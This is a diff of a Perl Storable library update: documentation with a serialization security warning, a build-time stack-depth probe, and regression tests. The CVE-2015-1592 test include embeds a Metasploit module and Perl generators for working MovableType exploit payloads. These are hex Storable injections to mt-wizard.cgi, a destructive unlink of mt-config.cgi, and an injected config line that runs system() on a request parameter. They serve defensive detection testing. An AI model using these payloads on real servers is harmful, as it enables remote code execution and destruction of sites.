+is written and might be less than C<Storable::BIN_VERSION_NV> in some
+configurations.
+
+=item C<major>, C<minor>
+
+This also returns the file format version.  If the version is "2.7"
+then major would be 2 and minor would be 7.  The minor element is
+missing for when major is less than 2.
+
+=item C<hdrsize>
+
+The is the number of bytes that the Storable header occupies.
+
+=item C<netorder>
+
+This is TRUE if the image store data in network order.  This means
+that it was created with nstore() or similar.
+
+=item C<byteorder>
+
+This is only present when C<netorder> is FALSE.  It is the
+$Config{byteorder} string of the perl that created this image.  It is
+a string like "1234" (32 bit little endian) or "87654321" (64 bit big
+endian).  This must match the current perl for the image to be
+readable by Storable.
+
+=item C<intsize>, C<longsize>, C<ptrsize>, C<nvsize>
+
+These are only present when C<netorder> is FALSE. These are the sizes of
+various C datatypes of the perl that created this image.  These must
+match the current perl for the image to be readable by Storable.
+
+The C<nvsize> element is only present for file format v2.2 and
+higher.
+
+=item C<file>
+
+The name of the file.
+
+=back
+
+=item $info = Storable::read_magic( $buffer )
+
+=item $info = Storable::read_magic( $buffer, $must_be_file )
+
+The $buffer should be a Storable image or the first few bytes of it.
+If $buffer starts with a Storable header, then a hash describing the
+image is returned, otherwise C<undef> is returned.
+
+The hash has the same structure as the one returned by
+Storable::file_magic().  The C<file> element is true if the image is a
+file image.
+
+If the $must_be_file argument is provided and is TRUE, then return
+C<undef> unless the image looks like it belongs to a file dump.
+
+The maximum size of a Storable header is currently 21 bytes.  If the
+provided $buffer is only the first part of a Storable image it should
+at least be this long to ensure that read_magic() will recognize it as
+such.
+
+=back
+
+=head1 EXAMPLES
+
+Here are some code samples showing a possible usage of Storable:
+
+ use Storable qw(store retrieve freeze thaw dclone);
+
+ %color = ('Blue' => 0.1, 'Red' => 0.8, 'Black' => 0, 'White' => 1);
+
+ store(\%color, 'mycolors') or die "Can't store %a in mycolors!\n";
+
+ $colref = retrieve('mycolors');
+ die "Unable to retrieve from mycolors!\n" unless defined $colref;
+ printf "Blue is still %lf\n", $colref->{'Blue'};
+
+ $colref2 = dclone(\%color);
+
+ $str = freeze(\%color);
+ printf "Serialization of %%color is %d bytes long.\n", length($str);
+ $colref3 = thaw($str);
+
+which prints (on my machine):
+
+ Blue is still 0.100000
+ Serialization of %color is 102 bytes long.
+
+Serialization of CODE references and deserialization in a safe
+compartment:
+
+=for example begin
+
+ use Storable qw(freeze thaw);
+ use Safe;
+ use strict;
+ my $safe = new Safe;
+        # because of opcodes used in "use strict":
+ $safe->permit(qw(:default require));
+ local $Storable::Deparse = 1;
+ local $Storable::Eval = sub { $safe->reval($_[0]) };
+ my $serialized = freeze(sub { 42 });
+ my $code = thaw($serialized);
+ $code->() == 42;
+
+=for example end
+
+=for example_testing
+        is( $code->(), 42 );
+
+=head1 SECURITY WARNING
+
+B<Do not accept Storable documents from untrusted sources!>
+
+Some features of Storable can lead to security vulnerabilities if you
+accept Storable documents from untrusted sources with the default
+flags. Most obviously, the optional (off by default) CODE reference
+serialization feature allows transfer of code to the deserializing
+process. Furthermore, any serialized object will cause Storable to
+helpfully load the module corresponding to the class of the object in
+the deserializing module.  For manipulated module names, this can load
+almost arbitrary code.  Finally, the deserialized object's destructors
+will be invoked when the objects get destroyed in the deserializing
+process. Maliciously crafted Storable documents may put such objects
+in the value of a hash key that is overridden by another key/value
+pair in the same hash, thus causing immediate destructor execution.
+
+To disable blessing objects while thawing/retrieving remove the flag
+C<BLESS_OK> = 2 from C<$Storable::flags> or set the 2nd argument for
+thaw/retrieve to 0.
+
+To disable tieing data while thawing/retrieving remove the flag C<TIE_OK>
+= 4 from C<$Storable::flags> or set the 2nd argument for thaw/retrieve
+to 0.
+
+With the default setting of C<$Storable::flags> = 6, creating or destroying
+random objects, even renamed objects can be controlled by an attacker.
+See CVE-2015-1592 and its metasploit module.
+
+If your application requires accepting data from untrusted sources,
+you are best off with a less powerful and more-likely safe
+serialization format and implementation. If your data is sufficiently
+simple, Cpanel::JSON::XS, Data::MessagePack or Serial are the best
+choices and offers maximum interoperability, but note that Serial is
+unsafe by default.
+
+=head1 WARNING
+
+If you're using references as keys within your hash tables, you're bound
+to be disappointed when retrieving your data. Indeed, Perl stringifies
+references used as hash table keys. If you later wish to access the
+items via another reference stringification (i.e. using the same
+reference that was used for the key originally to record the value into
+the hash table), it will work because both references stringify to the
+same string.
+
+It won't work across a sequence of C<store> and C<retrieve> operations,
+however, because the addresses in the retrieved objects, which are
+part of the stringified references, will probably differ from the
+original addresses. The topology of your structure is preserved,
+but not hidden semantics like those.
+
+On platforms where it matters, be sure to call C<binmode()> on the
+descriptors that you pass to Storable functions.
+
+Storing data canonically that contains large hashes can be
+significantly slower than storing the same data normally, as
+temporary arrays to hold the keys for each hash have to be allocated,
+populated, sorted and freed.  Some tests have shown a halving of the
+speed of storing -- the exact penalty will depend on the complexity of
+your data.  There is no slowdown on retrieval.
+
+=head1 REGULAR EXPRESSIONS
+
+Storable now has experimental support for storing regular expressions,
+but there are significant limitations:
+
+=over
+
+=item *
+
+perl 5.8 or later is required.
+
+=item *
+
+regular expressions with code blocks, ie C</(?{ ... })/> or C</(??{
+... })/> will throw an exception when thawed.
+
+=item *
+
+regular expression syntax and flags have changed over the history of
+perl, so a regular expression that you freeze in one version of perl
+may fail to thaw or behave differently in another version of perl.
+
+=item *
+
+depending on the version of perl, regular expressions can change in
+behaviour depending on the context, but later perls will bake that
+behaviour into the regexp.
+
+=back
+
+Storable will throw an exception if a frozen regular expression cannot
+be thawed.
+
+=head1 BUGS
+
+You can't store GLOB, FORMLINE, etc.... If you can define semantics
+for those operations, feel free to enhance Storable so that it can
+deal with them.
+
+The store functions will C<croak> if they run into such references
+unless you set C<$Storable::forgive_me> to some C<TRUE> value. In that
+case, the fatal message is converted to a warning and some meaningless
+string is stored instead.
+
+Setting C<$Storable::canonical> may not yield frozen strings that
+compare equal due to possible stringification of numbers. When the
+string version of a scalar exists, it is the form stored; therefore,
+if you happen to use your numbers as strings between two freezing
+operations on the same data structures, you will get different
+results.
+
+When storing doubles in network order, their value is stored as text.
+However, you should also not expect non-numeric floating-point values
+such as infinity and "not a number" to pass successfully through a
+nstore()/retrieve() pair.
+
+As Storable neither knows nor cares about character sets (although it
+does know that characters may be more than eight bits wide), any difference
+in the interpretation of character codes between a host and a target
+system is your problem.  In particular, if host and target use different
+code points to represent the characters used in the text representation
+of floating-point numbers, you will not be able be able to exchange
+floating-point data, even with nstore().
+
+C<Storable::drop_utf8> is a blunt tool.  There is no facility either to
+return B<all> strings as utf8 sequences, or to attempt to convert utf8
+data back to 8 bit and C<croak()> if the conversion fails.
+
+Prior to Storable 2.01, no distinction was made between signed and
+unsigned integers on storing.  By default Storable prefers to store a
+scalars string representation (if it has one) so this would only cause
+problems when storing large unsigned integers that had never been converted
+to string or floating point.  In other words values that had been generated
+by integer operations such as logic ops and then not used in any string or
+arithmetic context before storing.
+
+=head2 64 bit data in perl 5.6.0 and 5.6.1
+
+This section only applies to you if you have existing data written out
+by Storable 2.02 or earlier on perl 5.6.0 or 5.6.1 on Unix or Linux which
+has been configured with 64 bit integer support (not the default)
+If you got a precompiled perl, rather than running Configure to build
+your own perl from source, then it almost certainly does not affect you,
+and you can stop reading now (unless you're curious). If you're using perl
+on Windows it does not affect you.
+
+Storable writes a file header which contains the sizes of various C
+language types for the C compiler that built Storable (when not writing in
+network order), and will refuse to load files written by a Storable not
+on the same (or compatible) architecture.  This check and a check on
+machine byteorder is needed because the size of various fields in the file
+are given by the sizes of the C language types, and so files written on
+different architectures are incompatible.  This is done for increased speed.
+(When writing in network order, all fields are written out as standard
+lengths, which allows full interworking, but takes longer to read and write)
+
+Perl 5.6.x introduced the ability to optional configure the perl interpreter
+to use C's C<long long> type to allow scalars to store 64 bit integers on 32
+bit systems.  However, due to the way the Perl configuration system
+generated the C configuration files on non-Windows platforms, and the way
+Storable generates its header, nothing in the Storable file header reflected
+whether the perl writing was using 32 or 64 bit integers, despite the fact
+that Storable was storing some data differently in the file.  Hence Storable
+running on perl with 64 bit integers will read the header from a file
+written by a 32 bit perl, not realise that the data is actually in a subtly
+incompatible format, and then go horribly wrong (possibly crashing) if it
+encountered a stored integer.  This is a design failure.
+
+Storable has now been changed to write out and read in a file header with
+information about the size of integers.  It's impossible to detect whether
+an old file being read in was written with 32 or 64 bit integers (they have
+the same header) so it's impossible to automatically switch to a correct
+backwards compatibility mode.  Hence this Storable defaults to the new,
+correct behaviour.
+
+What this means is that if you have data written by Storable 1.x running
+on perl 5.6.0 or 5.6.1 configured with 64 bit integers on Unix or Linux
+then by default this Storable will refuse to read it, giving the error
+I<Byte order is not compatible>.  If you have such data then you
+should set C<$Storable::interwork_56_64bit> to a true value to make this
+Storable read and write files with the old header.  You should also
+migrate your data, or any older perl you are communicating with, to this
+current version of Storable.
+
+If you don't have data written with specific configuration of perl described
+above, then you do not and should not do anything.  Don't set the flag -
+not only will Storable on an identically configured perl refuse to load them,
+but Storable a differently configured perl will load them believing them
+to be correct for it, and then may well fail or crash part way through
+reading them.
+
+=head1 CREDITS
+
+Thank you to (in chronological order):
+
+	Jarkko Hietaniemi <jhi at iki.fi>
+	Ulrich Pfeifer <pfeifer at charly.informatik.uni-dortmund.de>
+	Benjamin A. Holzman <bholzman at earthlink.net>
+	Andrew Ford <A.Ford at ford-mason.co.uk>
+	Gisle Aas <gisle at aas.no>
+	Jeff Gresham <gresham_jeffrey at jpmorgan.com>
+	Murray Nesbitt <murray at activestate.com>
+	Marc Lehmann <pcg at opengroup.org>
+	Justin Banks <justinb at wamnet.com>
+	Jarkko Hietaniemi <jhi at iki.fi> (AGAIN, as perl 5.7.0 Pumpkin!)
+	Salvador Ortiz Garcia <sog at msg.com.mx>
+	Dominic Dunlop <domo at computer.org>
+	Erik Haugan <erik at solbors.no>
+	Benjamin A. Holzman <ben.holzman at grantstreet.com>
+	Reini Urban <rurban at cpan.org>
+	Todd Rinaldo <toddr at cpanel.net>
+	Aaron Crane <arc at cpan.org>
+
+for their bug reports, suggestions and contributions.
+
+Benjamin Holzman contributed the tied variable support, Andrew Ford
+contributed the canonical order for hashes, and Gisle Aas fixed
+a few misunderstandings of mine regarding the perl internals,
+and optimized the emission of "tags" in the output streams by
+simply counting the objects instead of tagging them (leading to
+a binary incompatibility for the Storable image starting at version
+0.6--older images are, of course, still properly understood).
+Murray Nesbitt made Storable thread-safe.  Marc Lehmann added overloading
+and references to tied items support.  Benjamin Holzman added a performance
+improvement for overloaded classes; thanks to Grant Street Group for footing
+the bill.
+Reini Urban took over maintainance from p5p, and added security fixes
+and huge object support.
+
+=head1 AUTHOR
+
+Storable was written by Raphael Manfredi
+F<E<lt>Raphael_Manfredi at pobox.comE<gt>>
+Maintenance is now done by cperl L<http://perl11.org/cperl>
+
+Please e-mail us with problems, bug fixes, comments and complaints,
+although if you have compliments you should send them to Raphael.
+Please don't e-mail Raphael with problems, as he no longer works on
+Storable, and your message will be delayed while he forwards it to us.
+
+=head1 SEE ALSO
+
+L<Clone>.
+
+=cut

Modified: vendor/perl/dist/dist/Storable/hints/linux.pl
===================================================================
--- vendor/perl/dist/dist/Storable/hints/linux.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/hints/linux.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,9 +6,10 @@
 # 20011002 and 3.3, and in Redhat 7.1 with gcc 3.3.1. The failures
 # happen only for unthreaded builds, threaded builds work okay.
 use Config;
-if ($Config{gccversion}) {
+if ($Config{gccversion} and !$Config{usethreads}) {
     my $optimize = $Config{optimize};
-    if ($optimize =~ s/(^| )-O[3-9]( |$)/$1-O2$2/) {
+    # works fine with gcc 4 or clang
+    if ($optimize =~ s/(^| )-O[3-9]( |$)/$1-O2$2/ and $Config{gccversion} =~ /^[23]\./) {
 	$self->{OPTIMIZE} = $optimize;
     }
 }

Added: vendor/perl/dist/dist/Storable/stacksize
===================================================================
--- vendor/perl/dist/dist/Storable/stacksize	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/stacksize	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,232 @@
+#!/usr/bin/perl
+# binary search maximum stack depth for arrays and hashes
+# and store it in lib/Storable/Limit.pm
+
+use Config;
+use Cwd;
+use File::Spec;
+use strict;
+
+my $fn = "lib/Storable/Limit.pm";
+my $ptrsize = $Config{ptrsize};
+my ($bad1, $bad2) = (65001, 25000);
+sub QUIET () {
+    (defined $ENV{MAKEFLAGS} and $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/
+     and !defined($ENV{TRAVIS}))
+      ? 1 : 0
+}
+sub PARALLEL () {
+    if (defined $ENV{MAKEFLAGS}
+        and $ENV{MAKEFLAGS} =~ /\bj\s*(\d+)\b/
+        and $1 > 1) {
+        return 1;
+    } else {
+        return 0;
+    }
+}
+sub is_miniperl {
+    return !defined &DynaLoader::boot_DynaLoader;
+}
+
+if (is_miniperl()) {
+    die "Should not run during miniperl\n";
+}
+my $prefix = "";
+if ($^O eq "MSWin32") {
+    # prevent Windows popping up a dialog each time we overflow
+    # the stack
+    require Win32API::File;
+    Win32API::File->import(qw(SetErrorMode SEM_NOGPFAULTERRORBOX SEM_FAILCRITICALERRORS));
+    SetErrorMode(SEM_NOGPFAULTERRORBOX() | SEM_FAILCRITICALERRORS());
+}
+# the ; here is to ensure system() passes this to the shell
+elsif (system("ulimit -c 0 ;") == 0) {
+    # try to prevent core dumps
+    $prefix = "ulimit -c 0 ; ";
+}
+if (@ARGV and $ARGV[0] eq '--core') {
+    $ENV{PERL_CORE} = 1;
+}
+my $PERL = $^X;
+if ($ENV{PERL_CORE}) {
+    my $path;
+    my $ldlib = $Config{ldlibpthname};
+    if (-d 'dist/Storable') {
+        chdir 'dist/Storable';
+        $PERL = "../../$PERL" unless $PERL =~ m|^/|;
+    }
+    if ($ldlib) {
+        $path = getcwd()."/../..";
+    }
+    if ($^O eq 'MSWin32' and -d '../dist/Storable') {
+        chdir '..\dist\Storable';
+        $PERL = "..\\..\\$PERL" unless $PERL =~ /^[A-Za-z]:\\/;
+    }
+    $PERL = "\"$PERL\"" if $PERL =~ / /;
+    if ($ldlib and $ldlib ne 'PATH') {
+        $PERL = "$ldlib=$path $PERL";
+    }
+}
+
+-d "lib" or mkdir "lib";
+-d "lib/Storable" or mkdir "lib/Storable";
+
+if ($^O eq "MSWin32") {
+    require Win32;
+    my ($str, $major, $minor) = Win32::GetOSVersion();
+    if ($major < 6 || $major == 6 && $minor < 1) {
+	print "Using defaults for older Win32\n";
+	write_limits(500, 256);
+	exit;
+    }
+}
+my ($n, $good, $bad, $found) =
+    (65000, 100, $bad1, undef);
+print "probe for max. stack sizes...\n" unless QUIET;
+# -I. since we're run before pm_to_blib (which is going to copy the
+# file we create) and need to load our Storable.pm, not the already
+# installed Storable.pm
+my $mblib = '-Mblib -I.';
+if ($ENV{PERL_CORE}) {
+    if ($^O eq 'MSWin32') {
+        $mblib = '-I..\..\lib\auto -I..\..\lib';
+    } else {
+        $mblib = '-I../../lib/auto -I../../lib';
+    }
+}
+if (PARALLEL) {
+    # problem with parallel builds. wait for INST_DYNAMIC linking to be done.
+    # the problem is the RM_F INST_DYNAMIC race.
+    print "parallel build race - wait for linker ...\n" unless QUIET;
+    sleep(2.0);
+}
+
+sub cmd {
+    my ($i, $try, $limit_name) = @_;
+    die unless $i;
+    my $code = "my \$t; \$Storable::$limit_name = -1; $try for 1..$i;dclone(\$t); print qq/ok\n/";
+    my $q = ($^O eq 'MSWin32') ? '"' : "'";
+
+    "$prefix $PERL $mblib -MStorable=dclone -e$q$code$q"
+}
+# try more
+sub good {
+    my $i = shift; # this passed
+    my $j = $i + abs(int(($bad - $i) / 2));
+    print "Storable: determining recursion limit: $i passed, try more $j ...\n" unless QUIET;
+    $good = $i;
+    if ($j <= $i) {
+        $found++;
+    }
+    return $j;
+}
+# try less
+sub bad {
+    my $i = shift; # this failed
+    my $j = $i - abs(int(($i - $good) / 2));
+    print "Storable: determining recursion limit: $i too big, try less $j ...\n" unless QUIET;
+    $bad = $i;
+    if ($j >= $i) {
+        $j = $good;
+        $found++;
+    }
+    return $j;
+}
+
+sub array_cmd {
+    my $depth = shift;
+    return cmd($depth, '$t=[$t]', 'recursion_limit');
+}
+
+# first check we can successfully run with a minimum level
+my $cmd = array_cmd(1);
+unless ((my $output = `$cmd`) =~ /\bok\b/) {
+    die "Cannot run probe: '$output', aborting...\n";
+}
+
+unless ($ENV{STORABLE_NOISY}) {
+    # suppress Segmentation fault messages
+    open STDERR, ">", File::Spec->devnull;
+}
+
+while (!$found) {
+    my $cmd = array_cmd($n);
+    #print "$cmd\n" unless $QUIET;
+    if (`$cmd` =~ /\bok\b/) {
+        $n = good($n);
+    } else {
+        $n = bad($n);
+    }
+}
+print "MAX_DEPTH = $n\n" unless QUIET;
+my $max_depth = $n;
+
+($n, $good, $bad, $found) =
+  (int($n/2), 50, $n, undef);
+# pack j only since 5.8
+my $max = ($] > 5.007 and length(pack "j", 0) < 8)
+  ? ($^O eq 'MSWin32' ? 3000 : 8000)
+  : $max_depth;
+$n = $max if $n > $max;
+$bad = $max if $bad > $max;
+while (!$found) {
+    my $cmd = cmd($n, '$t={1=>$t}', 'recursion_limit_hash');
+    #print "$cmd\n" unless $QUIET;
+    if (`$cmd` =~ /\bok\b/) {
+        $n = good($n);
+    } else {
+        $n = bad($n);
+    }
+}
+if ($max_depth == $bad1-1
+    and $n == $bad2-1)
+{
+    # more likely the shell. travis docker ubuntu, mingw e.g.
+    print "Error: Apparently your system(SHELLSTRING) cannot catch stack overflows\n"
+      unless QUIET;
+    $max_depth = 512;
+    $n = 256;
+    print "MAX_DEPTH = $max_depth\n" unless QUIET;
+}
+print "MAX_DEPTH_HASH = $n\n" unless QUIET;
+my $max_depth_hash = $n;
+
+# Previously this calculation was done in the macro, calculate it here
+# instead so a user setting of either variable more closely matches
+# the limits the use sees.
+
+# be fairly aggressive in trimming this, smoke testing showed several
+# several apparently random failures here, eg. working in one
+# configuration, but not in a very similar configuration.
+$max_depth = int(0.6 * $max_depth);
+$max_depth_hash = int(0.6 * $max_depth);
+
+my $stack_reserve = $^O eq "MSWin32" ? 32 : 16;
+if ($] ge "5.016" && !($^O eq "cygwin" && $ptrsize == 8)) {
+    $max_depth -= $stack_reserve;
+    $max_depth_hash -= $stack_reserve;
+}
+else {
+    # within the exception we need another stack depth to recursively
+    # cleanup the hash
+    $max_depth = ($max_depth >> 1) - $stack_reserve;
+    $max_depth_hash = ($max_depth_hash >> 1) - $stack_reserve * 2;
+}
+
+write_limits($max_depth, $max_depth_hash);
+
+sub write_limits {
+    my ($max_depth, $max_depth_hash) = @_;
+    my $f;
+    open $f, ">", $fn or die "$fn $!";
+    print $f <<EOS;
+# bisected by stacksize
+\$Storable::recursion_limit = $max_depth
+  unless defined \$Storable::recursion_limit;
+\$Storable::recursion_limit_hash = $max_depth_hash
+  unless defined \$Storable::recursion_limit_hash;
+1;
+EOS
+    close $f
+      or die "Failed to close $fn: $!\n";
+}

Added: vendor/perl/dist/dist/Storable/t/CVE-2015-1592.inc
===================================================================
--- vendor/perl/dist/dist/Storable/t/CVE-2015-1592.inc	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/t/CVE-2015-1592.inc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,261 @@
+#!/usr/bin/perl
+
+=pod
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
+      'Description'    => %q{
+          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
+          arbitrary code. The default nondestructive mode depends on the target server having
+          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
+          The destructive mode of operation uses only required MovableType dependencies,
+          but it will noticeably corrupt the MovableType installation.
+      },
+      'Author'         =>
+        [
+          'John Lightsey',
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2015-1592' ],
+          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
+        ],
+      'Privileged'     => false, # web server context
+      'Payload'        =>
+        {
+          'DisableNops' => true,
+          'BadChars'    => ' ',
+          'Space'       => 1024,
+        },
+      'Compat'         =>
+        {
+          'PayloadType' => 'cmd'
+        },
+      'Platform'       => ['unix'],
+      'Arch'           => ARCH_CMD,
+      'Targets'        => [['Automatic', {}]],
+      'DisclosureDate' => 'Feb 11 2015',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
+        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
+      ], self.class
+    )
+
+  end
+
+=cut
+
+# generate config parameters for injection checks
+
+use Storable;
+
+{
+
+    package XXXCHECKXXX;
+
+    sub STORABLE_thaw {
+        return 1;
+    }
+
+    sub STORABLE_freeze {
+        return 1;
+    }
+
+}
+
+my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
+my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
+$frozen2 = unpack 'H*', $frozen2;
+#print "LFI test for storable flaw is: $frozen2\n";
+
+{
+    package DateTime;
+    use overload '+' => sub { 'ignored' };
+}
+
+=pod
+
+  def check
+    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
+    res = send_request_cgi({
+        'method'    => 'GET',
+        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+        'vars_get' => {
+          '__mode' => 'retry',
+          'step'   => 'configure',
+          'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
+        }
+      })
+
+    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
+      vprint_status("Failed XXXCHECKXXX.pm load test");
+      return Exploit::CheckCode::Safe
+    end
+    Exploit::CheckCode::Vulnerable
+  end
+
+  def exploit
+    if datastore['DESTRUCTIVE']
+      exploit_destructive
+    else
+      exploit_nondestructive
+    end
+  end
+
+=cut
+
+#!/usr/bin/perl
+
+# Generate nondestructive config parameter for RCE via Object::MultiType
+# and Try::Tiny. The generated value requires minor modification to insert
+# the payload inside the system() call and resize the padding.
+
+use Storable;
+
+{
+    package Object::MultiType;
+    use overload '+' => sub { 'ingored' };
+}
+
+{
+    package Object::MultiType::Saver;
+}
+
+#{
+#    package DateTime;
+#    use overload '+' => sub { 'ingored' };
+#}
+
+{
+    package Try::Tiny::ScopeGuard;
+}
+
+my $try_tiny_loader = bless {}, 'DateTime';
+my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
+my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
+my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
+
+my $data = [$try_tiny_loader, $try_tiny_executor];
+my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
+$frozen1 = unpack 'H*', $frozen1;
+#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";
+
+=pod
+
+  def exploit_nondestructive
+    print_status("Using nondestructive attack method")
+    config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
+    config_payload <<  payload.encoded.unpack('H*')[0]
+    config_payload << "7d293b"
+    config_payload << "23" * (1025 - payload.encoded.length)
+    config_payload << "0a657869743b"
+
+    print_status("Sending payload (#{payload.raw.length} bytes)")
+
+    send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+      'vars_get' => {
+        '__mode' => 'retry',
+        'step'   => 'configure',
+        'config' => config_payload
+      }
+    }, 5)
+  end
+
+=cut
+
+#!/usr/bin/perl
+
+# Generate destructive config parameter to unlink mt-config.cgi
+
+use Storable;
+
+{
+    package CGITempFile;
+}
+
+my $unlink_target = "mt-config.cgi";
+my $cgitempfile = bless \$unlink_target, "CGITempFile";
+
+$data = [$cgitempfile];
+my $frozen_data = Storable::freeze($data);
+my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
+$frozen = unpack 'H*', $frozen;
+#print "RCE unlink payload requiring CGI: $frozen\n";
+
+# $Storable::DEBUGME = 1;
+# $^W = 1;
+Storable::thaw($frozen_data);
+
+=pod
+
+def exploit_destructive
+    print_status("Using destructive attack method")
+    # First we need to delete mt-config.cgi using the storable injection
+
+    print_status("Sending storable injection to unlink mt-config.cgi")
+
+    res = send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+      'vars_get' => {
+        '__mode' => 'retry',
+        'step'   => 'configure',
+        'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
+      }
+    })
+
+    if res && res.code == 200
+      print_status("Successfully sent unlink request")
+    else
+      fail_with(Failure::Unknown, "Error sending unlink request")
+    end
+
+    # Now we rewrite mt-config.cgi to accept a payload
+
+    print_status("Rewriting mt-config.cgi to accept the payload")
+
+    res = send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+      'vars_get'  => {
+        '__mode'             => 'next_step',
+        'step'               => 'optional',
+        'default_language'   => 'en_us',
+        'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
+        'set_static_uri_to'  => '/',
+        'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
+      }
+    })
+
+    if res && res.code == 200
+      print_status("Successfully sent mt-config rewrite request")
+    else
+      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
+    end
+
+    # Finally send the payload
+
+    print_status("Sending payload request")
+
+    send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
+      'vars_get'  => {
+        'xyzzy'   => payload.encoded,
+      }
+    }, 5)
+  end
+
+=cut

Added: vendor/perl/dist/dist/Storable/t/CVE-2015-1592.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/CVE-2015-1592.t	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/t/CVE-2015-1592.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+#!/usr/bin/perl
+
+use strict;
+use Test::More;
+plan tests => 1;
+
+use File::Temp qw(tempdir);
+use File::Spec;
+my $tmp_dir = tempdir(CLEANUP => 1);
+my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit');
+
+my $file = __FILE__;
+$file =~ s/\.t$/.inc/;
+my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC);
+system qq($^X $inc -w "$file" 2>$tmp_file);
+open(my $fh, "<", $tmp_file) or die "$tmp_file $!";
+{
+  local $/;
+  my $err = <$fh>;
+  like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/,
+       'Detect CVE-2015-1592');
+}

Modified: vendor/perl/dist/dist/Storable/t/attach_errors.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/attach_errors.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/attach_errors.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,10 +25,6 @@
 use Test::More tests => 40;
 use Storable ();
 
-
-
-
-
 #####################################################################
 # Error 1
 # 

Modified: vendor/perl/dist/dist/Storable/t/attach_singleton.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/attach_singleton.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/attach_singleton.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,7 +19,7 @@
     }
 }
 
-use Test::More tests => 11;
+use Test::More tests => 16;
 use Storable ();
 
 # Get the singleton
@@ -53,6 +53,11 @@
 $struct->[1]->{value} = 'Goodbye cruel world!';
 is_deeply( $struct, $thawed, 'Empiric testing confirms correct behaviour' );
 
+$struct = [ $object, $object ];
+$frozen = Storable::freeze($struct);
+$thawed = Storable::thaw($frozen);
+is("$thawed->[0]", "$thawed->[1]", "Multiple Singletons thaw correctly");
+
 # End Tests
 ###########
 

Modified: vendor/perl/dist/dist/Storable/t/blessed.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/blessed.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/blessed.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,9 +6,27 @@
 #  in the README file that comes with the distribution.
 #
 
+BEGIN {
+    # Do this as the very first thing, in order to avoid problems with the
+    # PADTMP flag on pre-5.19.3 threaded Perls.  On those Perls, compiling
+    # code that contains a constant-folded canonical truth value breaks
+    # the ability to take a reference to that canonical truth value later.
+    $::false = 0;
+    %::immortals = (
+	'u' => \undef,
+	'y' => \!$::false,
+	'n' => \!!$::false,
+    );
+}
+
 sub BEGIN {
-    unshift @INC, 't';
